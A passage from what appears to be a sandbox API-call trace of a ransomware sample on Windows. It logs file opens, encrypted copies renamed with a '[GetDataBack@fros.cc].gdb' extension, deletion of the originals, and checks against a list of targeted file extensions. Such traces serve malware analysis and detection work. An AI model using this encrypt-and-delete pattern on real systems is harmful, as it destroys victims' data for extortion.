dwFileAttributes=0x26) returned 1 [0114.238] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.238] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0114.238] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0114.238] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\bootsect.bak.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0114.238] GetLastError () returned 0x0 [0114.238] ReadFile (in: hFile=0x15c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x2000, lpOverlapped=0x0) returned 1 [0114.251] WriteFile (in: hFile=0x168, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2010, lpOverlapped=0x0) returned 1 [0114.252] ReadFile (in: hFile=0x15c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0114.252] WriteFile (in: hFile=0x168, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0114.252] SetEndOfFile (hFile=0x168) returned 1 [0114.253] CloseHandle (hObject=0x168) returned 1 [0114.253] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0114.253] SetEndOfFile (hFile=0x15c) returned 1 [0114.254] CloseHandle (hObject=0x15c) returned 1 [0114.254] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x27) returned 1 [0114.255] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0114.255] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.255] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.255] lstrlenW (lpString=".doc") returned 4 [0114.255] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString=".docx") returned 5 [0114.255] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0114.255] lstrlenW (lpString=".pdf") returned 4 [0114.255] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString=".xls") returned 4 [0114.255] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString=".xlsx") returned 5 [0114.255] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0114.255] lstrlenW (lpString=".ppt") returned 4 [0114.255] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.255] lstrlenW (lpString=".zip") returned 4 [0114.255] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString=".rar") returned 4 [0114.255] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString=".bz2") returned 4 [0114.255] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString=".7z") returned 3 [0114.255] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0114.255] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.255] lstrlenW (lpString=".dbf") returned 4 [0114.255] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0114.255] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString=".1cd") returned 4 [0114.256] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0114.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString=".jpg") returned 4 [0114.256] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString=".doc") returned 4 [0114.256] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString=".docx") returned 5 [0114.256] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0114.256] lstrlenW (lpString=".pdf") returned 4 [0114.256] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString=".xls") returned 4 [0114.256] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString=".xlsx") returned 5 [0114.256] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0114.256] lstrlenW (lpString=".ppt") returned 4 [0114.256] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString=".zip") returned 4 [0114.256] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString=".rar") returned 4 [0114.256] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString=".bz2") returned 4 [0114.256] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString=".7z") returned 3 [0114.256] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0114.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString=".dbf") returned 4 [0114.256] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0114.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString=".1cd") returned 4 [0114.256] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0114.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.256] lstrlenW (lpString=".jpg") returned 4 [0114.256] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0114.257] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0114.257] lstrlenW (lpString="Setup.xml") returned 9 [0114.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.379] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1886) returned 1 [0114.379] CloseHandle (hObject=0x164) returned 1 [0114.379] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0114.379] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0114.379] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0114.379] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0114.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.379] GetLastError () returned 0x0 [0114.379] ReadFile (in: hFile=0x164, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x75e, lpOverlapped=0x0) returned 1 [0114.381] WriteFile (in: hFile=0x15c, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x760, lpOverlapped=0x0) returned 1 [0114.381] ReadFile (in: hFile=0x164, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0114.381] WriteFile (in: hFile=0x15c, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0114.381] SetEndOfFile (hFile=0x15c) returned 1 [0114.382] CloseHandle (hObject=0x15c) returned 1 [0114.382] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0114.382] SetEndOfFile (hFile=0x164) returned 1 [0114.383] CloseHandle (hObject=0x164) returned 1 [0114.383] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0114.383] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0114.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.383] lstrlenW (lpString=".doc") returned 4 [0114.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.383] lstrlenW (lpString=".docx") returned 5 [0114.383] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.383] lstrlenW (lpString=".pdf") returned 4 [0114.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.383] lstrlenW (lpString=".xls") returned 4 [0114.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.383] lstrlenW (lpString=".xlsx") returned 5 [0114.383] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.383] lstrlenW (lpString=".ppt") returned 4 [0114.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.384] lstrlenW (lpString=".zip") returned 4 [0114.384] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.384] lstrlenW (lpString=".rar") returned 4 [0114.384] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString=".bz2") returned 4 [0114.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString=".7z") returned 3 [0114.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.384] lstrlenW (lpString=".dbf") returned 4 [0114.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.384] lstrlenW (lpString=".1cd") returned 4 [0114.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.384] lstrlenW (lpString=".jpg") returned 4 [0114.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.384] lstrlenW (lpString=".doc") returned 4 [0114.384] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString=".docx") returned 5 [0114.384] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0114.384] lstrlenW (lpString=".pdf") returned 4 [0114.384] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString=".xls") returned 4 [0114.384] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString=".xlsx") returned 5 [0114.384] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0114.384] lstrlenW (lpString=".ppt") returned 4 [0114.384] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.385] lstrlenW (lpString=".zip") returned 4 [0114.385] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.385] lstrlenW (lpString=".rar") returned 4 [0114.385] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.385] lstrlenW (lpString=".bz2") returned 4 [0114.385] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.385] lstrlenW (lpString=".7z") returned 3 [0114.385] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.385] lstrlenW (lpString=".dbf") returned 4 [0114.385] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.385] lstrlenW (lpString=".1cd") returned 4 [0114.385] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0114.385] lstrlenW (lpString=".jpg") returned 4 [0114.385] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.385] Sleep (dwMilliseconds=0x64) [0114.729] Sleep (dwMilliseconds=0x64) [0115.471] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.471] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0115.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.472] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1231) returned 1 [0115.472] CloseHandle (hObject=0x1a4) returned 1 [0115.472] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0115.472] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.472] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.472] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.473] GetLastError () returned 0x0 [0115.473] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x4cf, lpOverlapped=0x0) returned 1 [0115.474] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x4d0, lpOverlapped=0x0) returned 1 [0115.475] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0115.475] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf2, lpOverlapped=0x0) returned 1 [0115.475] SetEndOfFile (hFile=0x1a8) returned 1 [0115.475] CloseHandle (hObject=0x1a8) returned 1 [0115.475] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.475] SetEndOfFile (hFile=0x1a4) returned 1 [0115.476] CloseHandle (hObject=0x1a4) returned 1 [0115.476] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.477] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0115.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.477] lstrlenW (lpString=".doc") returned 4 [0115.477] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString=".docx") returned 5 [0115.477] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.477] lstrlenW (lpString=".pdf") returned 4 [0115.477] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString=".xls") returned 4 [0115.477] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString=".xlsx") returned 5 [0115.477] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.477] lstrlenW (lpString=".ppt") returned 4 [0115.477] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.477] lstrlenW (lpString=".zip") returned 4 [0115.477] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.477] lstrlenW (lpString=".rar") returned 4 [0115.477] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString=".bz2") returned 4 [0115.477] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString=".7z") returned 3 [0115.477] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.477] lstrlenW (lpString=".dbf") returned 4 [0115.477] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.477] lstrlenW (lpString=".1cd") returned 4 [0115.477] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.477] lstrlenW (lpString=".jpg") returned 4 [0115.477] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.478] lstrlenW (lpString=".doc") returned 4 [0115.478] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString=".docx") returned 5 [0115.478] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.478] lstrlenW (lpString=".pdf") returned 4 [0115.478] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString=".xls") returned 4 [0115.478] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString=".xlsx") returned 5 [0115.478] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.478] lstrlenW (lpString=".ppt") returned 4 [0115.478] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.478] lstrlenW (lpString=".zip") returned 4 [0115.478] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.478] lstrlenW (lpString=".rar") returned 4 [0115.478] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString=".bz2") returned 4 [0115.478] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString=".7z") returned 3 [0115.478] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.478] lstrlenW (lpString=".dbf") returned 4 [0115.478] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.478] lstrlenW (lpString=".1cd") returned 4 [0115.478] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0115.478] lstrlenW (lpString=".jpg") returned 4 [0115.478] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.478] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.478] lstrlenW (lpString="Setup.xml") returned 9 [0115.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.479] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1852) returned 1 [0115.479] CloseHandle (hObject=0x1a4) returned 1 [0115.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.479] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.479] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.479] CreateFileW (lpFileName="C:\\MSOCache\\All 